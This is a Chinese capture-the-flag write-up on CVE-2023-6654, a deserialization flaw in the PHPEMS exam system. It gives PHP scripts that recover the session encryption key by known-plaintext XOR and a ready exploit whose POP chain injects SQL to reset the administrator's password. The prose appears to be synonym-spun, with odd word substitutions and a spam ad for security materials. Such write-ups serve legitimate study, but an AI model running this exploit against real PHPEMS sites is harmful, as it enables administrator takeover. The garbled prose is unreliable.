系统是phpems,修正了默认密码,须要利用CVE登上去
CVE-2023-6654 ,菜鸟学习,大佬多指示
0x01环境搭建https://phpems.net/index.php 源码
config.inc.php修正相应数据库配置
数据库运行pe9.sql文件建立数据库
0x02代码审计
根据题目提示是CVE2023-6654
漏洞点在session.cls.php
查看session.cls.php代码
查看ginkgo
其make方法会判断$G拼接的文件名是否存在,也便是lib文件下的.cls.php文件,存在的就会包含这个文件
【----帮助网安学习,须要网安学习资料关注我,私信回答“资料”免费获取----】① 网安学习发展路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞剖析报告④ 150+网安攻防实战技能电子书⑤ 最威信CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂口试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
pepdo,ev,pdosql,strings是这里面分别包含的文件,根据CVE表露得知是反序列化漏洞,搜索反序列化点。
strings.cls.php中有利用点
getSessionId()方法里面有调用decode
key值为CS,CS值在config.inc.php中,题目环境是修正的
利用如下代码可以解密出明文,由于我们知道key
<?phpdefine('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2586%2582%258Fgf%25A3%25EE";$key = CS;$info = urldecode(urldecode($info));$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}echo $info;
encode代码
public function encode($info){$info = serialize($info);$key = CS;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);}decode代码public function decode($info){$key = CS;$info = urldecode($info);$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}$info = unserialize($info);return $info;}
可以看出里面这个$p值是循环的,加密的出来的值即是其ascll值相加,
encode是明文+key=密文
decode是密文-key=明文
key=密文-明文
key的长度是32位,也便是我们得到的密码每32位一循环,那么如果我们知道密文中个中一段32位的明文,就可以算出来key了
ev.cls.php
可以确认这个ip是可控的,也便是这个值是可控的
a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}
去掉前面的64位,今后顺延32为取出来,值如下
:"sessionip";s:9:"127.0.0.1";s:1
解密脚本
<?php$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7tSm%25A6nfg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9yjiiemj%25A3%25EE";$key = CS;$info = urldecode(urldecode($info));$info1=substr($info,64,32);//echo $info1;$ed=strlen($info1);//也便是32$dc=32;$sessip=':"sessionip";s:9:"127.0.0.1";s:1';for ($i=0;$i<$ed;$i++){$p=$i%$dc;$info1[$i]=chr(ord($info1[$i])-ord($sessip[$p]));}echo $info1;//1hqfx6ticwRxtfviTp940vng!yC12345布局反序列化链子session.cls.php的__destruct() 关键代码$sql = $this->pdosql->makeUpdate($data);$this->db->exec($sql);![](./myMediaFolder/media/image13.png){width="7.333333333333333in"height="2.8976049868766403in"}
这里可以看出分别须要db和pdosql,以此达到反序列化修正数据库密码,
布局链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec
0x03漏洞复现
这里利用网上师傅的EXP
<?phpnamespace PHPEMS{class session{public function __construct(){$this->sessionid="1111111";$this->pdosql= new pdosql();$this->db= new pepdo();}}class pdosql{private $db;public function __construct(){$this->tablepre = 'x2_user setuserpassword="a10adc3949ba59abbe56e057f20f883e" whereusername="peadmin";#--';$this->db=new pepdo();}}class pepdo{private $linkid = 0;}}namespace {define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345');function encode($info){$info = serialize($info);$key = CS1;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);}$session = new PHPEMSsession();$array = array("sessionid"=>"123123123", $session);echo serialize($array)."n";echo(urlencode(encode($array)))."n";}
实战中我们的ip是可以假造的
关键代码点
须要先创建pepdo和pdosql
pdosql.cls.php的makeUpdate是用来天生sql语句的
$tb_pre = $this->tablepre
以是这个sql语句参数可控
0x04总结函数是关键,研究下是否能可控这个反序列化的参数值,并且反序列化中能够调用危险函数。